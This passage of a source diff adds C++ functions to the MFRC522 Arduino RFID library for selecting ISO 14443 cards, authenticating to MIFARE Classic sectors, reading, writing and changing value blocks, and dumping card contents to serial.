*bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + return PICC_REQA_or_WUPA(PICC_CMD_WUPA, bufferATQA, bufferSize); +} // End PICC_WakeupA() + +/** + * Transmits REQA or WUPA commands. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_REQA_or_WUPA( byte command, ///< The command to send - PICC_CMD_REQA or PICC_CMD_WUPA + byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte *bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + byte validBits; + byte status; + + if (bufferATQA == NULL || *bufferSize < 2) { // The ATQA response is 2 bytes long. + return STATUS_NO_ROOM; + } + PCD_ClearRegisterBitMask(CollReg, 0x80); // ValuesAfterColl=1 => Bits received after collision are cleared. + validBits = 7; // For REQA and WUPA we need the short frame format - transmit only 7 bits of the last (and only) byte. TxLastBits = BitFramingReg[2..0] + status = PCD_TransceiveData(&command, 1, bufferATQA, bufferSize, &validBits); + if (status != STATUS_OK) { + return status; + } + if (*bufferSize != 2 || validBits != 0) { // ATQA must be exactly 16 bits. + return STATUS_ERROR; + } + return STATUS_OK; +} // End PICC_REQA_or_WUPA() + +/** + * Transmits SELECT/ANTICOLLISION commands to select a single PICC. + * Before calling this function the PICCs must be placed in the READY(*) state by calling PICC_RequestA() or PICC_WakeupA(). + * On success: + * - The chosen PICC is in state ACTIVE(*) and all other PICCs have returned to state IDLE/HALT. (Figure 7 of the ISO/IEC 14443-3 draft.) + * - The UID size and value of the chosen PICC is returned in *uid along with the SAK. + * + * A PICC UID consists of 4, 7 or 10 bytes. + * Only 4 bytes can be specified in a SELECT command, so for the longer UIDs two or three iterations are used: + * UID size Number of UID bytes Cascade levels Example of PICC + * ======== =================== ============== =============== + * single 4 1 MIFARE Classic + * double 7 2 MIFARE Ultralight + * triple 10 3 Not currently in use? + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_Select( Uid *uid, ///< Pointer to Uid struct. Normally output, but can also be used to supply a known UID. + byte validBits ///< The number of known UID bits supplied in *uid. Normally 0. If set you must also supply uid->size. + ) { + bool uidComplete; + bool selectDone; + bool useCascadeTag; + byte cascadeLevel = 1; + byte result; + byte count; + byte index; + byte uidIndex; // The first index in uid->uidByte[] that is used in the current Cascade Level. + char currentLevelKnownBits; // The number of known UID bits in the current Cascade Level. + byte buffer[9]; // The SELECT/ANTICOLLISION commands uses a 7 byte standard frame + 2 bytes CRC_A + byte bufferUsed; // The number of bytes used in the buffer, ie the number of bytes to transfer to the FIFO. + byte rxAlign; // Used in BitFramingReg. Defines the bit position for the first bit received. + byte txLastBits; // Used in BitFramingReg. The number of valid bits in the last transmitted byte. + byte *responseBuffer; + byte responseLength; + + // Description of buffer structure: + // Byte 0: SEL Indicates the Cascade Level: PICC_CMD_SEL_CL1, PICC_CMD_SEL_CL2 or PICC_CMD_SEL_CL3 + // Byte 1: NVB Number of Valid Bits (in complete command, not just the UID): High nibble: complete bytes, Low nibble: Extra bits. + // Byte 2: UID-data or CT See explanation below. CT means Cascade Tag. + // Byte 3: UID-data + // Byte 4: UID-data + // Byte 5: UID-data + // Byte 6: BCC Block Check Character - XOR of bytes 2-5 + // Byte 7: CRC_A + // Byte 8: CRC_A + // The BCC and CRC_A is only transmitted if we know all the UID bits of the current Cascade Level. + // + // Description of bytes 2-5: (Section 6.5.4 of the ISO/IEC 14443-3 draft: UID contents and cascade levels) + // UID size Cascade level Byte2 Byte3 Byte4 Byte5 + // ======== ============= ===== ===== ===== ===== + // 4 bytes 1 uid0 uid1 uid2 uid3 + // 7 bytes 1 CT uid0 uid1 uid2 + // 2 uid3 uid4 uid5 uid6 + // 10 bytes 1 CT uid0 uid1 uid2 + // 2 CT uid3 uid4 uid5 + // 3 uid6 uid7 uid8 uid9 + + // Sanity checks + if (validBits > 80) { + return STATUS_INVALID; + } + + // Prepare MFRC522 + PCD_ClearRegisterBitMask(CollReg, 0x80); // ValuesAfterColl=1 => Bits received after collision are cleared. + + // Repeat Cascade Level loop until we have a complete UID. + uidComplete = false; + while ( ! uidComplete) { + // Set the Cascade Level in the SEL byte, find out if we need to use the Cascade Tag in byte 2. + switch (cascadeLevel) { + case 1: + buffer[0] = PICC_CMD_SEL_CL1; + uidIndex = 0; + useCascadeTag = validBits && uid->size > 4; // When we know that the UID has more than 4 bytes + break; + + case 2: + buffer[0] = PICC_CMD_SEL_CL2; + uidIndex = 3; + useCascadeTag = validBits && uid->size > 7; // When we know that the UID has more than 7 bytes + break; + + case 3: + buffer[0] = PICC_CMD_SEL_CL3; + uidIndex = 6; + useCascadeTag = false; // Never used in CL3. + break; + + default: + return STATUS_INTERNAL_ERROR; + break; + } + + // How many UID bits are known in this Cascade Level? + currentLevelKnownBits = validBits - (8 * uidIndex); + if (currentLevelKnownBits < 0) { + currentLevelKnownBits = 0; + } + // Copy the known bits from uid->uidByte[] to buffer[] + index = 2; // destination index in buffer[] + if (useCascadeTag) { + buffer[index++] = PICC_CMD_CT; + } + byte bytesToCopy = currentLevelKnownBits / 8 + (currentLevelKnownBits % 8 ? 1 : 0); // The number of bytes needed to represent the known bits for this level. + if (bytesToCopy) { + byte maxBytes = useCascadeTag ? 3 : 4; // Max 4 bytes in each Cascade Level. Only 3 left if we use the Cascade Tag + if (bytesToCopy > maxBytes) { + bytesToCopy = maxBytes; + } + for (count = 0; count < bytesToCopy; count++) { + buffer[index++] = uid->uidByte[uidIndex + count]; + } + } + // Now that the data has been copied we need to include the 8 bits in CT in currentLevelKnownBits + if (useCascadeTag) { + currentLevelKnownBits += 8; + } + + // Repeat anti collision loop until we can transmit all UID bits + BCC and receive a SAK - max 32 iterations. + selectDone = false; + while ( ! selectDone) { + // Find out how many bits and bytes to send and receive. + if (currentLevelKnownBits >= 32) { // All UID bits in this Cascade Level are known. This is a SELECT. + //Serial.print("SELECT: currentLevelKnownBits="); Serial.println(currentLevelKnownBits, DEC); + buffer[1] = 0x70; // NVB - Number of Valid Bits: Seven whole bytes + // Calculate BCC - Block Check Character + buffer[6] = buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 7, &buffer[7]); + if (result != STATUS_OK) { + return result; + } + txLastBits = 0; // 0 => All 8 bits are valid. + bufferUsed = 9; + // Store response in the last 3 bytes of buffer (BCC and CRC_A - not needed after tx) + responseBuffer = &buffer[6]; + responseLength = 3; + } + else { // This is an ANTICOLLISION. + //Serial.print("ANTICOLLISION: currentLevelKnownBits="); Serial.println(currentLevelKnownBits, DEC); + txLastBits = currentLevelKnownBits % 8; + count = currentLevelKnownBits / 8; // Number of whole bytes in the UID part. + index = 2 + count; // Number of whole bytes: SEL + NVB + UIDs + buffer[1] = (index << 4) + txLastBits; // NVB - Number of Valid Bits + bufferUsed = index + (txLastBits ? 1 : 0); + // Store response in the unused part of buffer + responseBuffer = &buffer[index]; + responseLength = sizeof(buffer) - index; + } + + // Set bit adjustments + rxAlign = txLastBits; // Having a seperate variable is overkill. But it makes the next line easier to read. + PCD_WriteRegister(BitFramingReg, (rxAlign << 4) + txLastBits); // RxAlign = BitFramingReg[6..4]. TxLastBits = BitFramingReg[2..0] + + // Transmit the buffer and receive the response. + result = PCD_TransceiveData(buffer, bufferUsed, responseBuffer, &responseLength, &txLastBits, rxAlign); + if (result == STATUS_COLLISION) { // More than one PICC in the field => collision. + result = PCD_ReadRegister(CollReg); // CollReg[7..0] bits are: ValuesAfterColl reserved CollPosNotValid CollPos[4:0] + if (result & 0x20) { // CollPosNotValid + return STATUS_COLLISION; // Without a valid collision position we cannot continue + } + byte collisionPos = result & 0x1F; // Values 0-31, 0 means bit 32. + if (collisionPos == 0) { + collisionPos = 32; + } + if (collisionPos <= currentLevelKnownBits) { // No progress - should not happen + return STATUS_INTERNAL_ERROR; + } + // Choose the PICC with the bit set. + currentLevelKnownBits = collisionPos; + count = (currentLevelKnownBits - 1) % 8; // The bit to modify + index = 1 + (currentLevelKnownBits / 8) + (count ? 1 : 0); // First byte is index 0. + buffer[index] |= (1 << count); + } + else if (result != STATUS_OK) { + return result; + } + else { // STATUS_OK + if (currentLevelKnownBits >= 32) { // This was a SELECT. + selectDone = true; // No more anticollision + // We continue below outside the while. + } + else { // This was an ANTICOLLISION. + // We now have all 32 bits of the UID in this Cascade Level + currentLevelKnownBits = 32; + // Run loop again to do the SELECT. + } + } + } // End of while ( ! selectDone) + + // We do not check the CBB - it was constructed by us above. + + // Copy the found UID bytes from buffer[] to uid->uidByte[] + index = (buffer[2] == PICC_CMD_CT) ? 3 : 2; // source index in buffer[] + bytesToCopy = (buffer[2] == PICC_CMD_CT) ? 3 : 4; + for (count = 0; count < bytesToCopy; count++) { + uid->uidByte[uidIndex + count] = buffer[index++]; + } + + // Check response SAK (Select Acknowledge) + if (responseLength != 3 || txLastBits != 0) { // SAK must be exactly 24 bits (1 byte + CRC_A). + return STATUS_ERROR; + } + // Verify CRC_A - do our own calculation and store the control in buffer[2..3] - those bytes are not needed anymore. + result = PCD_CalculateCRC(responseBuffer, 1, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + if ((buffer[2] != responseBuffer[1]) || (buffer[3] != responseBuffer[2])) { + return STATUS_CRC_WRONG; + } + if (responseBuffer[0] & 0x04) { // Cascade bit set - UID not complete yes + cascadeLevel++; + } + else { + uidComplete = true; + uid->sak = responseBuffer[0]; + } + } // End of while ( ! uidComplete) + + // Set correct uid->size + uid->size = 3 * cascadeLevel + 1; + + return STATUS_OK; +} // End PICC_Select() + +/** + * Instructs a PICC in state ACTIVE(*) to go to state HALT. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_HaltA() { + byte result; + byte buffer[4]; + + // Build command buffer + buffer[0] = PICC_CMD_HLTA; + buffer[1] = 0; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 2, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + + // Send the command. + // The standard says: + // If the PICC responds with any modulation during a period of 1 ms after the end of the frame containing the + // HLTA command, this response shall be interpreted as 'not acknowledge'. + // We interpret that this way: Only STATUS_TIMEOUT is an success. + result = PCD_TransceiveData(buffer, sizeof(buffer), NULL, 0); + if (result == STATUS_TIMEOUT) { + return STATUS_OK; + } + if (result == STATUS_OK) { // That is ironically NOT ok in this case ;-) + return STATUS_ERROR; + } + return result; +} // End PICC_HaltA() + + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for communicating with MIFARE PICCs +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Executes the MFRC522 MFAuthent command. + * This command manages MIFARE authentication to enable a secure communication to any MIFARE Mini, MIFARE 1K and MIFARE 4K card. + * The authentication is described in the MFRC522 datasheet section 10.3.1.9 and http://www.nxp.com/documents/data_sheet/MF1S503x.pdf section 10.1. + * For use with MIFARE Classic PICCs. + * The PICC must be selected - ie in state ACTIVE(*) - before calling this function. + * Remember to call PCD_StopCrypto1() after communicating with the authenticated PICC - otherwise no new communications can start. + * + * All keys are set to FFFFFFFFFFFFh at chip delivery. + * + * @return STATUS_OK on success, STATUS_??? otherwise. Probably STATUS_TIMEOUT if you supply the wrong key. + */ +byte MFRC522::PCD_Authenticate(byte command, ///< PICC_CMD_MF_AUTH_KEY_A or PICC_CMD_MF_AUTH_KEY_B + byte blockAddr, ///< The block number. See numbering in the comments in the .h file. + MIFARE_Key *key, ///< Pointer to the Crypteo1 key to use (6 bytes) + Uid *uid ///< Pointer to Uid struct. The first 4 bytes of the UID is used. + ) { + byte waitIRq = 0x10; // IdleIRq + + // Build command buffer + byte sendData[12]; + sendData[0] = command; + sendData[1] = blockAddr; + for (byte i = 0; i < MF_KEY_SIZE; i++) { // 6 key bytes + sendData[2+i] = key->keyByte[i]; + } + for (byte i = 0; i < 4; i++) { // The first 4 bytes of the UID + sendData[8+i] = uid->uidByte[i]; + } + + // Start the authentication. + return PCD_CommunicateWithPICC(PCD_MFAuthent, waitIRq, &sendData[0], sizeof(sendData)); +} // End PCD_Authenticate() + +/** + * Used to exit the PCD from its authenticated state. + * Remember to call this function after communicating with an authenticated PICC - otherwise no new communications can start. + */ +void MFRC522::PCD_StopCrypto1() { + // Clear MFCrypto1On bit + PCD_ClearRegisterBitMask(Status2Reg, 0x08); // Status2Reg[7..0] bits are: TempSensClear I2CForceHS reserved reserved MFCrypto1On ModemState[2:0] +} // End PCD_StopCrypto1() + +/** + * Reads 16 bytes (+ 2 bytes CRC_A) from the active PICC. + * + * For MIFARE Classic the sector containing the block must be authenticated before calling this function. + * + * For MIFARE Ultralight only addresses 00h to 0Fh are decoded. + * The MF0ICU1 returns a NAK for higher addresses. + * The MF0ICU1 responds to the READ command by sending 16 bytes starting from the page address defined by the command argument. + * For example; if blockAddr is 03h then pages 03h, 04h, 05h, 06h are returned. + * A roll-back is implemented: If blockAddr is 0Eh, then the contents of pages 0Eh, 0Fh, 00h and 01h are returned. + * + * The buffer must be at least 18 bytes because a CRC_A is also returned. + * Checks the CRC_A before returning STATUS_OK. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Read( byte blockAddr, ///< MIFARE Classic: The block (0-0xff) number. MIFARE Ultralight: The first page to return data from. + byte *buffer, ///< The buffer to store the data in + byte *bufferSize ///< Buffer size, at least 18 bytes. Also number of bytes returned if STATUS_OK. + ) { + byte result; + + // Sanity check + if (buffer == NULL || *bufferSize < 18) { + return STATUS_NO_ROOM; + } + + // Build command buffer + buffer[0] = PICC_CMD_MF_READ; + buffer[1] = blockAddr; + // Calculate CRC_A + result = PCD_CalculateCRC(buffer, 2, &buffer[2]); + if (result != STATUS_OK) { + return result; + } + + // Transmit the buffer and receive the response, validate CRC_A. + return PCD_TransceiveData(buffer, 4, buffer, bufferSize, NULL, 0, true); +} // End MIFARE_Read() + +/** + * Writes 16 bytes to the active PICC. + * + * For MIFARE Classic the sector containing the block must be authenticated before calling this function. + * + * For MIFARE Ultralight the operation is called "COMPATIBILITY WRITE". + * Even though 16 bytes are transferred to the Ultralight PICC, only the least significant 4 bytes (bytes 0 to 3) + * are written to the specified address. It is recommended to set the remaining bytes 04h to 0Fh to all logic 0. + * * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Write( byte blockAddr, ///< MIFARE Classic: The block (0-0xff) number. MIFARE Ultralight: The page (2-15) to write to. + byte *buffer, ///< The 16 bytes to write to the PICC + byte bufferSize ///< Buffer size, must be at least 16 bytes. Exactly 16 bytes are written. + ) { + byte result; + + // Sanity check + if (buffer == NULL || bufferSize < 16) { + return STATUS_INVALID; + } + + // Mifare Classic protocol requires two communications to perform a write. + // Step 1: Tell the PICC we want to write to block blockAddr. + byte cmdBuffer[2]; + cmdBuffer[0] = PICC_CMD_MF_WRITE; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive(cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + // Step 2: Transfer the data + result = PCD_MIFARE_Transceive( buffer, bufferSize); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + return STATUS_OK; +} // End MIFARE_Write() + +/** + * Writes a 4 byte page to the active MIFARE Ultralight PICC. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Ultralight_Write( byte page, ///< The page (2-15) to write to. + byte *buffer, ///< The 4 bytes to write to the PICC + byte bufferSize ///< Buffer size, must be at least 4 bytes. Exactly 4 bytes are written. + ) { + byte result; + + // Sanity check + if (buffer == NULL || bufferSize < 4) { + return STATUS_INVALID; + } + + // Build commmand buffer + byte cmdBuffer[6]; + cmdBuffer[0] = PICC_CMD_UL_WRITE; + cmdBuffer[1] = page; + memcpy(&cmdBuffer[2], buffer, 4); + + // Perform the write + result = PCD_MIFARE_Transceive(cmdBuffer, 6); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + return STATUS_OK; +} // End MIFARE_Ultralight_Write() + +/** + * MIFARE Decrement subtracts the delta from the value of the addressed block, and stores the result in a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Decrement( byte blockAddr, ///< The block (0-0xff) number. + long delta ///< This number is subtracted from the value of block blockAddr. + ) { + return MIFARE_TwoStepHelper(PICC_CMD_MF_DECREMENT, blockAddr, delta); +} // End MIFARE_Decrement() + +/** + * MIFARE Increment adds the delta to the value of the addressed block, and stores the result in a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Increment( byte blockAddr, ///< The block (0-0xff) number. + long delta ///< This number is added to the value of block blockAddr. + ) { + return MIFARE_TwoStepHelper(PICC_CMD_MF_INCREMENT, blockAddr, delta); +} // End MIFARE_Increment() + +/** + * MIFARE Restore copies the value of the addressed block into a volatile memory. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * Use MIFARE_Transfer() to store the result in a block. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Restore( byte blockAddr ///< The block (0-0xff) number. + ) { + // The datasheet describes Restore as a two step operation, but does not explain what data to transfer in step 2. + // Doing only a single step does not work, so I chose to transfer 0L in step two. + return MIFARE_TwoStepHelper(PICC_CMD_MF_RESTORE, blockAddr, 0L); +} // End MIFARE_Restore() + +/** + * Helper function for the two-step MIFARE Classic protocol operations Decrement, Increment and Restore. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_TwoStepHelper( byte command, ///< The command to use + byte blockAddr, ///< The block (0-0xff) number. + long data ///< The data to transfer in step 2 + ) { + byte result; + byte cmdBuffer[2]; // We only need room for 2 bytes. + + // Step 1: Tell the PICC the command and block address + cmdBuffer[0] = command; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive( cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + + // Step 2: Transfer the data + result = PCD_MIFARE_Transceive( (byte *)&data, 4, true); // Adds CRC_A and accept timeout as success. + if (result != STATUS_OK) { + return result; + } + + return STATUS_OK; +} // End MIFARE_TwoStepHelper() + +/** + * MIFARE Transfer writes the value stored in the volatile memory into one MIFARE Classic block. + * For MIFARE Classic only. The sector containing the block must be authenticated before calling this function. + * Only for blocks in "value block" mode, ie with access bits [C1 C2 C3] = [110] or [001]. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_Transfer( byte blockAddr ///< The block (0-0xff) number. + ) { + byte result; + byte cmdBuffer[2]; // We only need room for 2 bytes. + + // Tell the PICC we want to transfer the result into block blockAddr. + cmdBuffer[0] = PICC_CMD_MF_TRANSFER; + cmdBuffer[1] = blockAddr; + result = PCD_MIFARE_Transceive( cmdBuffer, 2); // Adds CRC_A and checks that the response is MF_ACK. + if (result != STATUS_OK) { + return result; + } + return STATUS_OK; +} // End MIFARE_Transfer() + +/** + * Helper routine to read the current value from a Value Block. + * + * Only for MIFARE Classic and only for blocks in "value block" mode, that + * is: with access bits [C1 C2 C3] = [110] or [001]. The sector containing + * the block must be authenticated before calling this function. + * + * @param[in] blockAddr The block (0x00-0xff) number. + * @param[out] value Current value of the Value Block. + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_GetValue(byte blockAddr, long *value) { + byte status; + byte buffer[18]; + byte size = sizeof(buffer); + + // Read the block + status = MIFARE_Read(blockAddr, buffer, &size); + if (status == STATUS_OK) { + // Extract the value + *value = (long(buffer[3])<<24) | (long(buffer[2])<<16) | (long(buffer[1])<<8) | long(buffer[0]); + } + return status; +} // End MIFARE_GetValue() + +/** + * Helper routine to write a specific value into a Value Block. + * + * Only for MIFARE Classic and only for blocks in "value block" mode, that + * is: with access bits [C1 C2 C3] = [110] or [001]. The sector containing + * the block must be authenticated before calling this function. + * + * @param[in] blockAddr The block (0x00-0xff) number. + * @param[in] value New value of the Value Block. + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::MIFARE_SetValue(byte blockAddr, long value) { + byte buffer[18]; + + // Translate the long into 4 bytes; repeated 2x in value block + buffer[0] = buffer[ 8] = (value & 0xFF); + buffer[1] = buffer[ 9] = (value & 0xFF00) >> 8; + buffer[2] = buffer[10] = (value & 0xFF0000) >> 16; + buffer[3] = buffer[11] = (value & 0xFF000000) >> 24; + // Inverse 4 bytes also found in value block + buffer[4] = ~buffer[0]; + buffer[5] = ~buffer[1]; + buffer[6] = ~buffer[2]; + buffer[7] = ~buffer[3]; + // Address 2x with inverse address 2x + buffer[12] = buffer[14] = blockAddr; + buffer[13] = buffer[15] = ~blockAddr; + + // Write the whole data block + return MIFARE_Write(blockAddr, buffer, 16); +} // End MIFARE_SetValue() + +///////////////////////////////////////////////////////////////////////////////////// +// Support functions +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Wrapper for MIFARE protocol communication. + * Adds CRC_A, executes the Transceive command and checks that the response is MF_ACK or a timeout. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_MIFARE_Transceive( byte *sendData, ///< Pointer to the data to transfer to the FIFO. Do NOT include the CRC_A. + byte sendLen, ///< Number of bytes in sendData. + bool acceptTimeout ///< True => A timeout is also success + ) { + byte result; + byte cmdBuffer[18]; // We need room for 16 bytes data and 2 bytes CRC_A. + + // Sanity check + if (sendData == NULL || sendLen > 16) { + return STATUS_INVALID; + } + + // Copy sendData[] to cmdBuffer[] and add CRC_A + memcpy(cmdBuffer, sendData, sendLen); + result = PCD_CalculateCRC(cmdBuffer, sendLen, &cmdBuffer[sendLen]); + if (result != STATUS_OK) { + return result; + } + sendLen += 2; + + // Transceive the data, store the reply in cmdBuffer[] + byte waitIRq = 0x30; // RxIRq and IdleIRq + byte cmdBufferSize = sizeof(cmdBuffer); + byte validBits = 0; + result = PCD_CommunicateWithPICC(PCD_Transceive, waitIRq, cmdBuffer, sendLen, cmdBuffer, &cmdBufferSize, &validBits); + if (acceptTimeout && result == STATUS_TIMEOUT) { + return STATUS_OK; + } + if (result != STATUS_OK) { + return result; + } + // The PICC must reply with a 4 bit ACK + if (cmdBufferSize != 1 || validBits != 4) { + return STATUS_ERROR; + } + if (cmdBuffer[0] != MF_ACK) { + return STATUS_MIFARE_NACK; + } + return STATUS_OK; +} // End PCD_MIFARE_Transceive() + +/** + * Returns a string pointer to a status code name. + * + */ +const char *MFRC522::GetStatusCodeName(byte code ///< One of the StatusCode enums. + ) { + switch (code) { + case STATUS_OK: return "Success."; break; + case STATUS_ERROR: return "Error in communication."; break; + case STATUS_COLLISION: return "Collission detected."; break; + case STATUS_TIMEOUT: return "Timeout in communication."; break; + case STATUS_NO_ROOM: return "A buffer is not big enough."; break; + case STATUS_INTERNAL_ERROR: return "Internal error in the code. Should not happen."; break; + case STATUS_INVALID: return "Invalid argument."; break; + case STATUS_CRC_WRONG: return "The CRC_A does not match."; break; + case STATUS_MIFARE_NACK: return "A MIFARE PICC responded with NAK."; break; + default: + return "Unknown error"; + break; + } +} // End GetStatusCodeName() + +/** + * Translates the SAK (Select Acknowledge) to a PICC type. + * + * @return PICC_Type + */ +byte MFRC522::PICC_GetType(byte sak ///< The SAK byte returned from PICC_Select(). + ) { + if (sak & 0x04) { // UID not complete + return PICC_TYPE_NOT_COMPLETE; + } + + switch (sak) { + case 0x09: return PICC_TYPE_MIFARE_MINI; break; + case 0x08: return PICC_TYPE_MIFARE_1K; break; + case 0x18: return PICC_TYPE_MIFARE_4K; break; + case 0x00: return PICC_TYPE_MIFARE_UL; break; + case 0x10: + case 0x11: return PICC_TYPE_MIFARE_PLUS; break; + case 0x01: return PICC_TYPE_TNP3XXX; break; + default: break; + } + + if (sak & 0x20) { + return PICC_TYPE_ISO_14443_4; + } + + if (sak & 0x40) { + return PICC_TYPE_ISO_18092; + } + + return PICC_TYPE_UNKNOWN; +} // End PICC_GetType() + +/** + * Returns a string pointer to the PICC type name. + * + */ +const char *MFRC522::PICC_GetTypeName(byte piccType ///< One of the PICC_Type enums. + ) { + switch (piccType) { + case PICC_TYPE_ISO_14443_4: return "PICC compliant with ISO/IEC 14443-4"; break; + case PICC_TYPE_ISO_18092: return "PICC compliant with ISO/IEC 18092 (NFC)"; break; + case PICC_TYPE_MIFARE_MINI: return "MIFARE Mini, 320 bytes"; break; + case PICC_TYPE_MIFARE_1K: return "MIFARE 1KB"; break; + case PICC_TYPE_MIFARE_4K: return "MIFARE 4KB"; break; + case PICC_TYPE_MIFARE_UL: return "MIFARE Ultralight or Ultralight C"; break; + case PICC_TYPE_MIFARE_PLUS: return "MIFARE Plus"; break; + case PICC_TYPE_TNP3XXX: return "MIFARE TNP3XXX"; break; + case PICC_TYPE_NOT_COMPLETE: return "SAK indicates UID is not complete."; break; + case PICC_TYPE_UNKNOWN: + default: return "Unknown type"; break; + } +} // End PICC_GetTypeName() + +/** + * Dumps debug info about the selected PICC to Serial. + * On success the PICC is halted after dumping the data. + * For MIFARE Classic the factory default key of 0xFFFFFFFFFFFF is tried. + */ +void MFRC522::PICC_DumpToSerial(Uid *uid ///< Pointer to Uid struct returned from a successful PICC_Select(). + ) { + MIFARE_Key key; + + // UID + Serial.print("Card UID:"); + for (byte i = 0; i < uid->size; i++) { + Serial.print(uid->uidByte[i] < 0x10 ? " 0" : " "); + Serial.print(uid->uidByte[i], HEX); + } + Serial.println(); + + // PICC type + byte piccType = PICC_GetType(uid->sak); + Serial.print("PICC type: "); + Serial.println(PICC_GetTypeName(piccType)); + + // Dump contents + switch (piccType) { + case PICC_TYPE_MIFARE_MINI: + case PICC_TYPE_MIFARE_1K: + case PICC_TYPE_MIFARE_4K: + // All keys are set to FFFFFFFFFFFFh at chip delivery from the factory. + for (byte i = 0; i < 6; i++) { + key.keyByte[i] = 0xFF; + } + PICC_DumpMifareClassicToSerial(uid, piccType, &key); + break; + + case PICC_TYPE_MIFARE_UL: + PICC_DumpMifareUltralightToSerial(); + break; + + case PICC_TYPE_ISO_14443_4: + case PICC_TYPE_ISO_18092: + case PICC_TYPE_MIFARE_PLUS: + case PICC_TYPE_TNP3XXX: + Serial.println("Dumping memory contents not implemented for that PICC type."); + break; + + case PICC_TYPE_UNKNOWN: + case PICC_TYPE_NOT_COMPLETE: + default: + break; // No memory dump here + } + + Serial.println(); + PICC_HaltA(); // Already done if it was a MIFARE Classic PICC. +} // End PICC_DumpToSerial() + +/** + * Dumps memory contents of a MIFARE Classic PICC. + * On success the PICC is halted after dumping the data. + */ +void MFRC522::PICC_DumpMifareClassicToSerial( Uid *uid, ///< Pointer to Uid struct returned from a successful PICC_Select(). + byte piccType, ///< One of the PICC_Type enums. + MIFARE_Key *key ///< Key A used for all sectors. + ) { + byte no_of_sectors = 0; + switch (piccType) { + case PICC_TYPE_MIFARE_MINI: + // Has 5 sectors * 4 blocks/sector * 16 bytes/block = 320 bytes. + no_of_sectors = 5; + break; + + case PICC_TYPE_MIFARE_1K: + // Has 16 sectors * 4 blocks/sector * 16 bytes/block = 1024 bytes. + no_of_sectors = 16; + break; + + case PICC_TYPE_MIFARE_4K: + // Has (32 sectors * 4 blocks/sector + 8 sectors * 16 blocks/sector) * 16 bytes/block = 4096 bytes. + no_of_sectors = 40; + break; + + default: // Should not happen. Ignore. + break; + } + + // Dump sectors, highest address first. + if (no_of_sectors) { + Serial.println("Sector Block 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 AccessBits"); + for (char i = no_of_sectors - 1; i >= 0; i--) { + PICC_DumpMifareClassicSectorToSerial(uid, key, i); + } + } + PICC_HaltA(); // Halt the PICC before stopping the encrypted session. + PCD_StopCrypto1(); +} // End PICC_DumpMifareClassicToSerial() + +/** + * Dumps memory contents of a sector of a MIFARE Classic PICC. + * Uses PCD_Authenticate(), MIFARE_Read() and PCD_StopCrypto1. + * Always uses PICC_CMD_MF_AUTH_KEY_A because only Key A can always read the sector trailer access bits. + */ +void MFRC522::PICC_DumpMifareClassicSectorToSerial(Uid *uid, ///< Pointer to Uid struct returned from a successful PICC_Select(). + MIFARE_Key *key, ///< Key A for the sector. + byte sector ///< The sector to dump, 0..39. + ) { + byte status; + byte firstBlock; // Address of lowest address to dump actually last block dumped) + byte no_of_blocks; // Number of blocks in sector + bool isSectorTrailer; // Set to true while handling the "last" (ie highest address) in the sector. + + // The access bits are stored in a peculiar fashion. + // There are four groups: + // g[3] Access bits for the sector trailer, block 3 (for sectors 0-31) or block 15 (for sectors 32-39) + // g[2] Access bits for block 2 (for sectors 0-31) or blocks 10-14 (for sectors 32-39) + // g[1] Access bits for block 1 (for sectors 0-31) or blocks 5-9 (for sectors 32-39) + // g[0] Access bits for block 0 (for sectors 0-31) or blocks 0-4 (for sectors 32-39) + // Each group has access bits [C1 C2 C3]. In this code C1 is MSB and C3 is LSB. + // The four CX bits are stored together in a nible cx and an inverted nible cx_. + byte c1, c2, c3; // Nibbles + byte c1_, c2_, c3_; // Inverted nibbles + bool invertedError; // True if one of the inverted nibbles did not match + byte g[4]; // Access bits for each of the four groups. + byte group; 